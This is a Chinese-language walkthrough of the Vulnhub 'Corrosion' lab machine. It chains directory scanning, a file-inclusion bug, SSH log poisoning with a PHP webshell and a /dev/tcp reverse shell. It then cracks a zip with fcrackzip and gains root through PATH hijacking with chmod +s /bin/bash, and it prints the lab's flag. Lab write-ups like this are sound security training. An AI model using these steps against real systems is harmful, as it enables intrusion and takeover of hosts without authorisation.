[【渗透测试】Vulnhub Corrosion]

渗透环境环境准备

靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/

攻击机: 192.168.207.130 (一般是本机ip)

靶机: 192.168.207.132

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:获取目标靶机root目录下的flag

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

1
arp-scan -l 

扫描结果:
824a8cb49d679afb.png

除了,192.168.207.1 ,192.168.207.2,192.168.207.254 之外

就只有192.168.207.132 ,它便是目标靶机

IPv4 后面的便是本机(攻击机)192.168.207.130

1
nmap -A 192.168.207.132

扫描结果:

cc4eb4f69cd41249.png

开放了22和80端口,访问80端口,可以正常访问。

7fc659f81cb9a27f.png

二、 寻找WEB漏洞

对目录进行扫描,经过测试,使用dirsearch的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster的扫描速度更快,因此我们使用gobuster使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt进行扫描

1
2
-u :指定爆破网站
-w :指定字典
1
2
gobuster dir -u http://192.168.207.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果:

2afc94ae5413e36f.png

访问/tasks 看看

debbecd9d1c149cb.png

打开tasks_todo.txt,获得以下提示

687d5eda1b40ac32.png

访问/blog-post,没有发现什么有用信息

aff4da14e17bfd9c.png

所以我们继续对/blog-post目录再次进行扫描

1
gobuster dir -u http://192.168.207.132/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果:

0ae48985eabece40.png

访问/blog-post/archives/,发现randylogs.php,直接点击打开是空白的。

43ac37c2ce374553.png

看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd,得到fuzz结果为file。

1
2
wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.207.132/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'

1
2
-w :指定字典
-hl 0: 输出返回页面长度大于0的结果
1
2
除了使用wfuzz还可以使用fuff
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.207.132/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

fc8fb70f34cd0ffb.png

读取/etc/passwd内容,成功验证存在文件包含漏洞

1
http://192.168.207.132/blog-post/archives/randylogs.php?file=/etc/passwd

39e53a8747fd388a.png

三、 漏洞利用

根据前面tasks_todo.txt的提示,我们在/var/log/(日志文件一般都存在这儿)下发现了auth.log

1
http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log

f6aa01d5b96cc59c.png

22端口是SSH服务的端口号,我们将一句话木马注入auth.log中。将一句话木马作为用户名连接靶机。这里我们使用system()而不使用eval(),这样可以通过终端返回的一些信息判断是否成功注入一句话木马。

1
ssh '<?php system($_GET['soap']);?>'@192.168.207.132

ed9f3d36d71a0f5c.png

接下来我们对soap传参ifconfig或者其他命令,若成功返回信息,则可验证注入成功

1
http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig

06188a69bbeb028b.png

验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑等工具连接一句话木马,不过可以用相同思路反弹shell。

启动监听,端口为4444

1
nc -nlvp 4444
1
http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.207.130%2F4444%200%3E%261%27

成功反弹shell !!

fdff96896a0d44ee.png

四、 提权

常规思路,先看一下有SUID权限的文件

1
find / -perm -u=s -type f 2>/dev/null

c063caf0b2e11f32.png

没有什么可疑文件,但是在/var下发现backups

1
2
3
cd /var 
之后
ls

8dc2fa940d89ad1a.png

backups可能是备份文件

我们看看里面内容

1
2
3
cd backups 
之后
ls

c8d1837faabf16db.png

user_backup.zip传到kali看看能不能获得有用信息。

靶机启动python搭建简易服务器

1
python3 -m http.server 8000
1
wget http://192.168.207.132:8000/user_backup.zip 

e4bbf061935accf2.png

在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt字典(kali自带,使用前先解压)

1
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

得到密码!randybaby

19d1bd9985810af0.png

解压文件

1
unzip user_backup.zip

c2e8d69c9ce123d0.png

解压文件

1
unzip user_backup.zip

然后输入密码,即可解压。解压后发现文件my_password.txt,猜测是用户randy的ssh连接密码,登陆成功。

d46f613b7f6bdc7d.png

1
2
id
sudo -l

9087fcc253b5e90c.png

发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat,并将其加入系统的环境变量,通过重写的cat实现提权

e2f0e2acbdab67cc.png

1
2
3
4
5
echo 'chmod +s /bin/bash' > cat     //在当前文件夹下写一个cat文件 
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的
cat /bin/bash -p //root身份运行bash
1
chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash

e0b6d7cd8278c3e4.png

发现flag在/root下,由于我们已经重写cat,因此我们用more来读取

c5fd1fcded228c21.png

那下flag解决

1
FLAG: 4NJSA99SD7922197D7S90PLAWE